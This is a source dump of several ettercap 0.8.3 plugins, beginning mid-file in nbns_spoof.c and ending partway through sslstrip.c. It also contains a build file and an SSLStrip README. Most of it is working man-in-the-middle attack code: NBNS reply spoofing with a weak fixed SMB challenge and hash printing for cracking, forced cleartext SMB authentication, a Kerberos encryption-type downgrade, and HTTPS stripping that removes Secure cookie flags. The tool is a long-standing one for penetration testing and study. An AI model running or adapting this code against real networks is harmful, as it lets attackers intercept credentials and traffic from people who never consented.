flags; u_short len; } NetBIOS_header; #define IF_IN_PCK(x,y) if((x) >= y->packet && (x) < (y->packet + y->len) ) /* protos */ int plugin_load(void *); static int nbns_spoof_init(void *); static int nbns_spoof_fini(void *); static int load_db(void); static void nbns_spoof(struct packet_object *po); static void nbns_set_challenge(struct packet_object *po); static void nbns_print_jripper(struct packet_object *po); static int parse_line(const char *str, int line, char **ip_p, char **name_p); static int nbns_expand(char *compressed, char *dst); static int get_spoofed_nbns(const char *a, struct ip_addr **ip); static void nbns_spoof_dump(void); struct plugin_ops nbns_spoof_ops = { /* ettercap version must be the global EC_VERSION */ .ettercap_version = EC_VERSION, .name = "nbns_spoof", .info = "Sends spoof NBNS replies & sends SMB challenges with custom challenge", .version = "1.1", .init = &nbns_spoof_init, .fini = &nbns_spoof_fini, }; int plugin_load(void *handle) { if (load_db() != E_SUCCESS) return -E_INVALID; nbns_spoof_dump(); return plugin_register(handle, &nbns_spoof_ops); } static int nbns_spoof_init(void *dummy) { /* variable not used */ (void) dummy; /* * add the hook in the dissector * this will pass only valid NBNS packets */ hook_add(HOOK_PROTO_NBNS, &nbns_spoof); hook_add(HOOK_PROTO_SMB, &nbns_set_challenge); hook_add(HOOK_PROTO_SMB_CMPLT, &nbns_print_jripper); return PLUGIN_RUNNING; } static int nbns_spoof_fini(void *dummy) { /* variable not used */ (void) dummy; hook_del(HOOK_PROTO_NBNS, &nbns_spoof); return PLUGIN_FINISHED; } /* load database */ static int load_db(void) { struct nbns_spoof_entry *d; FILE *f; char line[128]; char *ptr, *ipstr, *name; int lines = 0; f = open_data("etc", ETTER_NBNS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("Cannot open %s\n", ETTER_NBNS); return -E_INVALID; } while (fgets(line, 128, f)) { /* count lines */ lines++; if ((ptr = strchr(line, '#'))) *ptr = '\0'; /* skip empty lines */ if (!*line || *line == '\r' || *line == '\n') continue; /* strip apart the line */ if (!parse_line(line, lines, &ipstr, &name)) continue; /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct nbns_spoof_entry)); /* convert IP string into ip_addr struct */ if (ip_addr_pton(ipstr, &d->ip) != E_SUCCESS) { USER_MSG("%s:%d Invalid IP addres\n", ETTER_NBNS, lines); SAFE_FREE(d); continue; } d->name = strdup(name); /* insert to list */ SLIST_INSERT_HEAD(&nbns_spoof_head, d, next); } fclose(f); return E_SUCCESS; } /* * Parse line on format " ". */ static int parse_line(const char *str, int line, char **ip_p, char **name_p) { static char name[100+1]; static char ip[20+1]; if(sscanf(str, "%100s %20[^\r\n# ]", name, ip) != 2) { USER_MSG("%s:%d Invalid entry %s\n", ETTER_NBNS, line, str); return(0); } if (strchr(ip, ':')) { USER_MSG("%s:%d IP address must be IPv4\n", ETTER_NBNS, line); return(0); } *name_p = name; *ip_p = ip; return (1); } /* * HOOK_POINT SMB * Change the challenge sent by the server to something * simple that can be decoded by other tools */ static void nbns_set_challenge(struct packet_object *po) { u_char *ptr; SMB_header *smb; NetBIOS_header *NetBIOS; ptr = po->DATA.data; u_int64 SMB_WEAK_CHALLENGE = 0x1122334455667788; NetBIOS = (NetBIOS_header *)ptr; smb = (SMB_header *)(NetBIOS + 1); /* move to data */ ptr = (u_char *)(smb + 1); if (memcmp(smb->proto, "\xffSMB", 4) != 0) return; if (smb->cmd == 0x72 && FROM_SERVER("smb", po)) { if (ptr[3] & 2) { /* Check encryption key len */ if (*ptr != 0) { ptr += 3; /* Go to BLOB */ //memcpy new challenge (8 bytes) to ptr memset(ptr, (long)SMB_WEAK_CHALLENGE, 8); po->flags |= PO_MODIFIED; /* calculate checksum */ USER_MSG("nbns_spoof: Modified SMB challenge\n"); } } } } /* * Hook point HOOK_PROTO_SMB_CMPLT * receives a packet_object with the * SMB username, password, challenge, etc. */ static void nbns_print_jripper(struct packet_object *po) { //Domain = po->DISSECTOR.info //User = po->DISSECTOR.user //Pass = po->DISSECTOR.pass /* * Thanks to the SMB dissector, po->DISSECTOR.pass contains everything we need but domain */ USER_MSG("%s%s\n", po->DISSECTOR.info, po->DISSECTOR.pass); } /* * parse the packet and send the fake reply */ static void nbns_spoof(struct packet_object *po) { struct nbns_query *nbns; struct nbns_header *header; char name[NBNS_DECODED_NAME_LEN]; //header = (struct nbns_header *)po->DATA.data; nbns = (struct nbns_query *)po->DATA.data; header = (struct nbns_header *)&nbns->header; if (header->response) { /* We only want queries */ return; } if (ntohs(nbns->class) != CLASS_IN || ntohs(nbns->type) != TYPE_NB) { /* We only handle internet class and NB type */ return; } memset(name, '\0', NBNS_DECODED_NAME_LEN); nbns_expand(nbns->question, name); struct ip_addr *reply; char tmp[MAX_ASCII_ADDR_LEN]; if (get_spoofed_nbns(name, &reply) != E_SUCCESS) return; u_char *response; SAFE_CALLOC(response, NBNS_MSGLEN_QUERY_RESPONSE, sizeof(u_char)); if (po->DATA.len > 70) { SAFE_FREE(response); return; } memset(response, 0, NBNS_MSGLEN_QUERY_RESPONSE); memcpy(response, po->DATA.data, po->DATA.len); struct nbns_header *hdr = (struct nbns_header*)response; hdr->response = 1; hdr->opcode = ntohs((OPCODE_R+OPCODE_QUERY) & OPCODE_MASK); hdr->rcode = ntohs(0); hdr->broadcast = ntohs(0); hdr->an_count = ntohs(1); hdr->qd_count = ntohs(0); hdr->ra = 0; hdr->rd = 0; hdr->tc = 0; hdr->aa = 1; hdr->ns_count = ntohs(0); hdr->ar_count = ntohs(0); hdr->transactid = header->transactid; u_int16 *ttl1 = (u_int16*)(response+NBNS_TTL_POS); u_int16 *ttl2 = (u_int16*)(response+NBNS_TTL_POS+2); *ttl1 = ntohs(0); *ttl2 = ntohs(0); struct nbns_rdata *rdata = (struct nbns_rdata *) (response+NBNS_RDATA_POS); rdata->len = ntohs(2+sizeof(u_int32)); rdata->nbflags = ntohs(0x0000); rdata->addr = *reply->addr32; /* send fake reply */ send_udp(&EC_GBL_IFACE->ip, &po->L3.src, po->L2.src, po->L4.dst, po->L4.src, response, NBNS_MSGLEN_QUERY_RESPONSE); USER_MSG("nbns_spoof: Query [%s] spoofed to [%s]\n", name, ip_addr_ntoa(reply, tmp)); /* Do not forward request */ po->flags |= PO_DROPPED; SAFE_FREE(response); } /* * return the ip address for the name */ static int get_spoofed_nbns(const char *a, struct ip_addr **ip) { struct nbns_spoof_entry *n; SLIST_FOREACH(n, &nbns_spoof_head, next) { if (match_pattern(a, n->name)) { *ip = &n->ip; return E_SUCCESS; } } return -E_NOTFOUND; } static void nbns_spoof_dump(void) { struct nbns_spoof_entry *n; DEBUG_MSG("nbns_spoof entries:"); SLIST_FOREACH(n, &nbns_spoof_head, next) { if(ntohs(n->ip.addr_type) == AF_INET) { DEBUG_MSG(" %s -> [%s]", n->name, int_ntoa(n->ip.addr32)); } } } static int nbns_expand(char *compressed, char *dst) { //format compressed\00 int len = 0; int x=0; char j, k; for(len = 1; x < NBNS_NAME_LEN; len+=2){ j = (compressed[len] & 0x3f)-1; k = (compressed[len+1] & 0x3f)-1; dst[x/2] = (j<<4)+(k); x+=2; } char *s = strstr(dst, " "); if (s) *s = '\0'; return len; } // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/smb_clear/0000755000175000017500000000000013505247364016661 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/smb_clear/smb_clear.c0000644000175000017500000000763013505247364020762 0ustar koeppeakoeppea/* smb_clear -- ettercap plugin -- Tries to force SMB cleartext auth. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include typedef struct { u_char proto[4]; u_char cmd; u_char err[4]; u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { u_char mesg; u_char flags; u_short len; } NetBIOS_header; /* protos */ int plugin_load(void *); static int smb_clear_init(void *); static int smb_clear_fini(void *); static void parse_smb(struct packet_object *po); /* plugin operations */ struct plugin_ops smb_clear_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "smb_clear", /* a short description of the plugin (max 50 chars) */ .info = "Tries to force SMB cleartext auth", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &smb_clear_init, /* deactivation function */ .fini = &smb_clear_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &smb_clear_ops); } /******************* STANDARD FUNCTIONS *******************/ static int smb_clear_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("smb_clear: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("smb_clear: plugin running...\n"); hook_add(HOOK_PROTO_SMB, &parse_smb); return PLUGIN_RUNNING; } static int smb_clear_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("smb_clear: plugin terminated...\n"); hook_del(HOOK_PROTO_SMB, &parse_smb); return PLUGIN_FINISHED; } /*********************************************************/ /* Clear the encryption bit in the SecurityModel request */ static void parse_smb(struct packet_object *po) { SMB_header *smb; NetBIOS_header *NetBIOS; u_char *ptr; char tmp[MAX_ASCII_ADDR_LEN]; /* It is pointless to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); /* Let's go to the data */ ptr = (u_char *)(smb + 1); /* According to the Hook Point we are sure that this is * a NegotiateProtocol response packet. * Now we can change the Security Mode * 010 (encrypted) 000 (plaintext) */ if (ptr[3] & 2) { ptr[3] ^= 2; USER_MSG("smb_clear: Forced SMB clear text auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); po->flags |= PO_MODIFIED; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/krb5_downgrade/0000755000175000017500000000000013505247364017627 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/krb5_downgrade/krb5_downgrade.c0000644000175000017500000001454113505247364022675 0ustar koeppeakoeppea/* krb5_downgrade -- ettercap plugin - Downgrades Kerberos V5 security by modifying AS-REQ packets Copyright (C) Dhiru Kholia (dhiru at openwall.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. This file borrows boilerplate code from the smb_down plugin. */ #include #include #include #include #include /* https://cwiki.apache.org/confluence/display/DIRxASN1/Kerberos KDC-REQ ::= SEQUENCE { -- NOTE: first tag is [1], not [0] pvno [1] INTEGER (5) , msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), padata [3] SEQUENCE OF PA-DATA OPTIONAL -- NOTE: not empty --, req-body [4] KDC-REQ-BODY } KDC-REQ-BODY ::= SEQUENCE { kdc-options [0] KDCOptions, cname [1] PrincipalName OPTIONAL -- Used only in AS-REQ --, realm [2] Realm -- Server's realm -- Also client's in AS-REQ --, sname [3] PrincipalName OPTIONAL, from [4] KerberosTime OPTIONAL, till [5] KerberosTime, rtime [6] KerberosTime OPTIONAL, nonce [7] UInt32, etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --, addresses [9] HostAddresses OPTIONAL, enc-authorization-data [10] EncryptedData OPTIONAL -- AuthorizationData --, additional-tickets [11] SEQUENCE OF Ticket OPTIONAL -- NOTE: not empty } AS-REQ ::= [APPLICATION 10] KDC-REQ */ /* protos */ int plugin_load(void *); static int krb5_downgrade_init(void *); static int krb5_downgrade_fini(void *); static void parse_krb5(struct packet_object *po); /* plugin operations */ struct plugin_ops krb5_downgrade_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "krb5_downgrade", /* a short description of the plugin */ .info = "Downgrades Kerberos V5 security by modifying AS-REQ packets", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &krb5_downgrade_init, /* deactivation function */ .fini = &krb5_downgrade_fini, }; int plugin_load(void *handle) { return plugin_register(handle, &krb5_downgrade_ops); } static int krb5_downgrade_init(void *dummy) { /* variable not used */ (void)dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("krb5_downgrade: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("krb5_downgrade: plugin running...\n"); hook_add(HOOK_PROTO_KRB5, &parse_krb5); return PLUGIN_RUNNING; } static int krb5_downgrade_fini(void *dummy) { /* variable not used */ (void)dummy; USER_MSG("krb5_downgrade: plugin terminated...\n"); hook_del(HOOK_PROTO_KRB5, &parse_krb5); return PLUGIN_FINISHED; } /* Downgrade the "etype" values present in AS-REQ request */ static void parse_krb5(struct packet_object *po) { u_char *ptr; ptr = po->DATA.data; struct asn1_hdr hdr; size_t length = po->DATA.len; size_t size, netypes, i; uint8_t *pos, *end; int ret; int found = 0; char tmp[MAX_ASCII_ADDR_LEN]; pos = ptr; // APPLICATION 10, look for AS-REQ packets if (asn1_get_next(pos, length, &hdr) < 0 || hdr.class != ASN1_CLASS_APPLICATION || hdr.tag != 10) { // Hack to skip over "Record Mark" pos = pos + 4; if (asn1_get_next(pos, length, &hdr) < 0 || hdr.class != ASN1_CLASS_APPLICATION || hdr.tag != 10) { return; } } pos = hdr.payload; end = pos + hdr.length; if (end > pos + length) return; // KDC-REQ SEQUENCE if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { return; } pos = hdr.payload; // Locate KDC-REQ-BODY (class = 2, tag = 4) while (1) { if (end <= pos) return; ret = asn1_get_next(pos, end - pos, &hdr); if (ret < 0) return; if (hdr.class == 2 && hdr.tag == 4) { found = 1; break; } pos = hdr.payload + hdr.length; } if (!found) return; // KDC-REQ-BODY SEQUENCE pos = hdr.payload; ret = asn1_get_next(pos, end - pos, &hdr); pos = hdr.payload; // Locate etype (class = 2, tag = 8) found = 0; while (1) { if (end <= pos) return; ret = asn1_get_next(pos, end - pos, &hdr); if (ret < 0) return; if (hdr.class == 2 && hdr.tag == 8) { found = 1; break; } pos = hdr.payload + hdr.length; } if (!found) return; // SEQUENCE OF Int32 -- EncryptionType -- in preference order -- pos = hdr.payload; size = pos[1]; netypes = pos[1] / 3; if (pos + size > ptr + length) return; // Sample etype records -> 02 01 12, 02 01 11, 02 01 10, 02 01 17. // Downgrade the etypes to etype 23. pos = pos + 2; // pointing to first etype record for (i = 0; i < netypes; i++) { pos[2] = '\x17'; pos = pos + 3; po->flags |= PO_MODIFIED; } if (po->flags & PO_MODIFIED) { USER_MSG("krb5_downgrade: Downgraded etypes in AS-REQ message, %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/CMakeLists.txt0000644000175000017500000000334113505247364017473 0ustar koeppeakoeppeaif(HAVE_PCRE) if(CURL_FOUND) add_library(sslstrip MODULE sslstrip/sslstrip.c) include_directories(${CURL_INCLUDE_DIR} ${PCRE_INCLUDE_DIR}) add_dependencies(sslstrip curl) target_link_libraries(sslstrip ${CURL_LIBRARY} ${PCRE_LIBRARY}) target_link_libraries(sslstrip lib_ettercap) set_target_properties(sslstrip PROPERTIES PREFIX "ec_") install(TARGETS sslstrip LIBRARY DESTINATION ${INSTALL_LIBDIR}/ettercap/ PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE) else() message(STATUS "Not building sslstrip plugin. Requires libcurl.") endif() else() message(STATUS "Not building sslstrip plugin. Requires pcre.") endif() set(PLUGINS arp_cop autoadd chk_poison dns_spoof mdns_spoof dos_attack dummy find_conn find_ettercap find_ip finger finger_submit fraggle_attack gre_relay gw_discover isolate link_type nbns_spoof pptp_chapms1 pptp_clear pptp_pap pptp_reneg rand_flood remote_browser reply_arp repoison_arp scan_poisoner search_promisc smb_clear smb_down krb5_downgrade smurf_attack stp_mangler) foreach(plugin ${PLUGINS}) add_library(${plugin} MODULE ${plugin}/${plugin}.c) set_target_properties(${plugin} PROPERTIES PREFIX "ec_") target_link_libraries(${plugin} lib_ettercap) install(TARGETS ${plugin} LIBRARY DESTINATION ${INSTALL_LIBDIR}/ettercap/ PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE) endforeach() if(NOT HAVE_DN_EXPAND) target_link_libraries(dns_spoof ${HAVE_RESOLV}) target_link_libraries(mdns_spoof ${HAVE_RESOLV}) endif() target_link_libraries(dos_attack ${HAVE_LIBNET}) ettercap-0.8.3/plug-ins/gw_discover/0000755000175000017500000000000013505247364017245 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/gw_discover/gw_discover.c0000644000175000017500000001255213505247364021731 0ustar koeppeakoeppea/* gw_discover -- ettercap plugin -- find the lan gateway it sends a syn to a remote ip with the mac address of a local host. if the reply comes back, we have found the gateway Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include /* globals */ static struct ip_addr ip; static u_int16 port; /* protos */ int plugin_load(void *); static int gw_discover_init(void *); static int gw_discover_fini(void *); static int get_remote_target(struct ip_addr *ip, u_int16 *port); static void do_discover(void); static void get_replies(struct packet_object *po); /* plugin operations */ struct plugin_ops gw_discover_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "gw_discover", /* a short description of the plugin (max 50 chars) */ .info = "Try to find the LAN gateway", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &gw_discover_init, /* deactivation function */ .fini = &gw_discover_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &gw_discover_ops); } /******************* STANDARD FUNCTIONS *******************/ static int gw_discover_init(void *dummy) { /* variable not used */ (void) dummy; /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; /* wipe the global vars */ memset(&ip, 0, sizeof(struct ip_addr)); if (get_remote_target(&ip, &port) == E_SUCCESS) { /* do the actual finterprinting */ do_discover(); } return PLUGIN_FINISHED; } static int gw_discover_fini(void *dummy) { /* variable not used */ (void) dummy; return PLUGIN_FINISHED; } /*********************************************************/ /* * get the remote ip from user input */ static int get_remote_target(struct ip_addr *p_ip, u_int16 *p_port) { char input[MAX_ASCII_ADDR_LEN + 1 + 5 + 1]; char ipstr[MAX_ASCII_ADDR_LEN]; memset(input, 0, sizeof(input)); /* get the user input */ ui_input("Insert remote IP:PORT : ", input, sizeof(input), NULL); /* no input was entered */ if (strlen(input) == 0) return -E_INVALID; /* get the hostname */ if (ec_strsplit_ipport(input, ipstr, p_port)) return -E_INVALID; /* convert IP string into ip_addr struct */ if (ip_addr_pton(ipstr, p_ip)) return -E_INVALID; /* correct parsing */ if (*p_port != 0) return E_SUCCESS; return -E_INVALID; } /* * send the SYN packet to the target */ static void do_discover(void) { char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; /* convert the in ascii ip address */ ip_addr_ntoa(&ip, tmp); /* add the hook to collect tcp SYN+ACK packets */ hook_add(HOOK_PACKET_TCP, &get_replies); INSTANT_USER_MSG("\nRemote target is %s:%d...\n\n", tmp, port); LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { INSTANT_USER_MSG("Sending the SYN packet to %-15s [%s]\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); /* send the syn packet */ send_tcp_ether(h->mac, &EC_GBL_IFACE->ip, &ip, htons(EC_MAGIC_16), htons(port), 0xabadc0de, 0xabadc0de, TH_SYN); } /* wait some time for slower replies */ ec_usleep(SEC2MICRO(3)); INSTANT_USER_MSG("\n"); /* remove the hook */ hook_del(HOOK_PACKET_TCP, &get_replies); } /* * collect the SYN+ACK replies */ static void get_replies(struct packet_object *po) { char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; /* skip non syn ack packets */ if ( !(po->L4.flags & (TH_SYN | TH_ACK)) ) return; /* the source ip is diffent */ if ( ip_addr_cmp(&po->L3.src, &ip)) return; /* this is not the requested connection */ if (po->L4.src != htons(port) || po->L4.dst != htons(EC_MAGIC_16)) return; /* search the source mac address in the host list */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { if (!memcmp(po->L2.src, h->mac, MEDIA_ADDR_LEN)) { INSTANT_USER_MSG("[%s] %s is probably a gateway for the LAN\n", mac_addr_ntoa(po->L2.src, tmp2), ip_addr_ntoa(&h->ip, tmp)); } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/sslstrip/0000755000175000017500000000000013505247364016615 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/sslstrip/README.SSLSTRIP0000644000175000017500000000471613505247364020767 0ustar koeppeakoeppeaDocumentation for SSLStrip plugin for ettercap 0.7.5+ SSLStrip: --------- SSLStrip is a python script written by Moxie (http://www.thoughtcrime.org/software/sslstrip/) that basically strips all the https:// links from HTML respones so that users will submit everything via HTTP. The script keeps track of those HTTPS links so that it can talk to the actual web server via the right application protocol (HTTP or HTTPS). SSLStrip depends on ARPspoof and IPTables forwarding to intercept the victim(s)' traffic. Why add it to Ettercap? ----------------------- Ettercap already performs the MiTM approach that ARPspoof does. It was very simple to write this as a plugin and allow the plugin to redirect HTTP (port 80) traffic to itself in order to perform the requests on behalf of the victim(s). Just as the script, the SSLStrip plugin keeps track of all HTTPS links so that it can go ahead and send those requests via HTTPS to the actual web server(s). It then strips all HTTPS links from the responses so that everything coming from the victim(s) is seen as HTTP, therefor, unencrypted. How to get it to work: ---------------------- In order for the plugin to compile, you must install libcurl. This can be done via your operating system's package management. It needs versision 7.26.0 at least. On Mac OS X: Mac OS X already comes with libcurl installed but it is an older version. Please use/run the MacPorts version of it by typing: $ port install curl On Linux: Just installing the latest version of libcurl/curl will do. How to use? ----------- Enabling the SSLStrip plugin will add an IPTables/IPFW rule that redirects traffic to port 80 to a different port that the plugin will be listening on. Although not required, it is recommended if SSL MiTM (-S) is turned off to avoid any issues with the traffic coming from Ettercap to the web server via HTTPS. If the targets lists are properly defined, SSL MiTM can also be used in conjunction of SSLStrip plugin just in case any HTTPS link slips by. Known Problems ------------- The regex pattern used by the plugin picks up most HTTPS links but there are still some that will slip by. For example if a link has href="/aslfksldfkjdflkjasdfj/******RANDOMTEXT", the plugin will fail to match that. Improvements? ------------- Sure! If a better regex pattern can be used, any bugs, crashes, etc. Feel free to submit to the mailing list or email us directly (see AUTHORS file). Thanks, exfil (emescobar@users.sf.net). ettercap-0.8.3/plug-ins/sslstrip/sslstrip.c0000644000175000017500000012031713505247364020650 0ustar koeppeakoeppea/* sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/) Copyright (C) Ettercap Development Team. 2012. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef HAVE_STRNDUP #include #endif #ifdef OS_LINUX #include #endif #if defined OS_LINUX && defined WITH_IPV6 #include #endif #ifdef HAVE_SYS_POLL_H #include #endif #include #if (LIBCURL_VERSION_MAJOR < 7) || (LIBCURL_VERSION_MINOR < 26) #error libcurl 7.26.0 or up is needed #endif /* * This plugin will basically replace all https links sent to the user's browser with http * but keep track of those https links to send a proper HTTPS request to the links when requested. */ #if defined(OS_DARWIN) || defined(OS_BSD) #define SSLSTRIP_SET "21" #endif //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)" #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+=\\\\.&-]*)" //#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n" #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+=\\\\.&-]+); ?Secure" #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */ #define HTTP_RETRY 500 #define HTTP_WAIT 10 /* milliseconds */ #define PROTO_HTTP 1 #define PROTO_HTTPS 2 #define HTTP_GET (1<<16) #define HTTP_POST (1<<24) #define HTTP_MAX (1024*200) //200KB max for HTTP requests. #define BREAK_ON_ERROR(x,y,z) do { \ if (x == -E_INVALID ) { \ http_wipe_connection(y); \ SAFE_FREE(z.DATA.data); \ SAFE_FREE(z.DATA.disp_data); \ ec_thread_exit(); \ } \ } while(0) /* lists */ struct http_ident { u_int32 magic; #define HTTP_MAGIC 0x0501e77f struct ip_addr L3_src; u_int16 L4_src; u_int16 L4_dst; }; #define HTTP_IDENT_LEN sizeof(struct http_ident) struct https_link { char *url; time_t last_used; LIST_ENTRY (https_link) next; }; struct http_request { int method; struct curl_slist *headers; char *url; char *payload; }; struct http_response { char *html; unsigned long int len; }; struct http_connection { int fd; u_int16 port[2]; struct ip_addr ip[2]; CURL *handle; struct http_request *request; struct http_response *response; char curl_err_buffer[CURL_ERROR_SIZE]; #define HTTP_CLIENT 0 #define HTTP_SERVER 1 }; LIST_HEAD(, https_link) https_links; static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER; #define LIST_LOCK do{ pthread_mutex_lock(&list_mutex); } while(0) #define LIST_UNLOCK do{ pthread_mutex_unlock(&list_mutex); } while(0) /* globals */ static int main_fd, main_fd6; static struct pollfd poll_fd[2]; static u_int16 bind_port; static pcre *https_url_pcre; static regex_t find_cookie_re; /* protos */ int plugin_load(void *); static int sslstrip_init(void *); static int sslstrip_fini(void *); static void sslstrip(struct packet_object *po); static int sslstrip_is_http(struct packet_object *po); #ifndef OS_LINUX static void sslstrip_create_session(struct ec_session **s, struct packet_object *po); static int sslstrip_match(void *id_sess, void *id_curr); static size_t http_create_ident(void **i, struct packet_object *po); #endif /* http stuff */ static void Find_Url(u_char *to_parse, char **ret); static int http_sync_conn(struct http_connection *connection); static int http_get_peer(struct http_connection *connection); static int http_read(struct http_connection *connection, struct packet_object *po); static int http_write(int fd, char *ptr, unsigned long int total_len); static void http_remove_header(char *header, struct http_connection *connection); static void http_update_content_length(struct http_connection *connection); static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len); static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po); static void http_wipe_connection(struct http_connection *connection); static void http_handle_request(struct http_connection *connection, struct packet_object *po); static void http_send(struct http_connection *connection, struct packet_object *po, int proto); static void http_remove_https(struct http_connection *connection); static void http_remove_secure_from_cookie(struct http_connection *connection); static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata); //static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream); /* thread stuff */ static int http_bind_wrapper(void); static EC_THREAD_FUNC(http_child_thread); static EC_THREAD_FUNC(http_accept_thread); /* * Custom flag used by plugin to mark packets coming * from this plugin */ #define PO_FROMSSLSTRIP ((u_int16)(1<<13)) struct plugin_ops sslstrip_ops = { .ettercap_version = EC_VERSION, /* must match global EC_VERSION */ .name = "sslstrip", .info = "SSLStrip plugin", .version = "1.2", .init = &sslstrip_init, .fini = &sslstrip_fini, }; int plugin_load(void *handle) { return plugin_register(handle, &sslstrip_ops); } static int sslstrip_init(void *dummy) { const char *error; int erroroffset; int err; char errbuf[100]; /* variable not used */ (void) dummy; /* * Add IPTables redirect for port 80 */ if (http_bind_wrapper() != E_SUCCESS) { USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n"); return PLUGIN_FINISHED; } https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL); if (!https_url_pcre) { USER_MSG("SSLStrip: plugin load failed: pcre_compile failed 